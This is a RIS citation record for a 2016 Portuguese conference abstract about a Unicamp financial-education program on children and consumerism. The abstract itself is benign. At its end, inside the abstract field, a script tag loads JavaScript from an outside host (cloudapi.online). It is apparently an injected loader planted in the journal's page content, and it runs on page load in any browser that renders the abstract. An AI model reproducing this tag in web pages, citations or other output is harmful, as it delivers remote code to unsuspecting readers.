TY - JOUR AU - Ferreira, Camila Caroline de Oliveira AU - Leite, Mayara Talita Sales AU - Bueno, Erika Aparecida PY - 2016/10/27 Y2 - 2024/03/28 TI - Infância e consumismo: contribuições da educação financeira para formação critica das crianças JF - Sínteses: Revista Eletrônica do SimTec JA - Sínteses: Rev. Eletr. SimTec VL - 0 IS - 6 SE - Eixo 3 - Desenvolvimento humano, Diversidade, Sustentabilidade, Qualidade de vida e cultura DO - UR - https://econtents.bc.unicamp.br/inpec/index.php/simtec/article/view/8439 SP - 233-233 AB - <p><span>O presente trabalho tem como objetivo apresentar a ação desenvolvida pela equipe do Grupo Gestor de Benefícios Sociais da Unicamp, para construção de uma proposta de atuação sobre consumismo infantil, junto a crianças de 9 a 11 anos do PRODECAD - Programa de Integração e Desenvolvimento da Criança e do Adolescente. Trata-se de uma ação do PROAF – Programa de Autonomia Financeira, que já atua no campo da educação financeira com os servidores da Universidade desde 2012, e que, com o intuito de expandir suas atividades, iniciou este trabalho com os filhos dos servidores em 2015, pautando-se em referenciais críticos, que contradizem o modelo de infância ditado pelo sistema capitalista. O trabalho é desenvolvido por uma equipe multiprofissional, formada pelas áreas de Serviço Social, Economia e Psicologia e oferece, através de encontros semanais, um rol de atividades dedicado a proporcionar às crianças, de maneira lúdica e pedagógica, um espaço de reflexão sobre os temas: “infância e consumismo”, “direitos da criança e do adolescente”, “o significado do dinheiro” e “sustentabilidade”. Acreditamos que a sistematização deste trabalho contribui não só para trazer a discussão do consumismo infantil e da educação financeira para o centro do debate mas, sobretudo, para estimular ações e produções cientificas sobre o tema.</span></p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -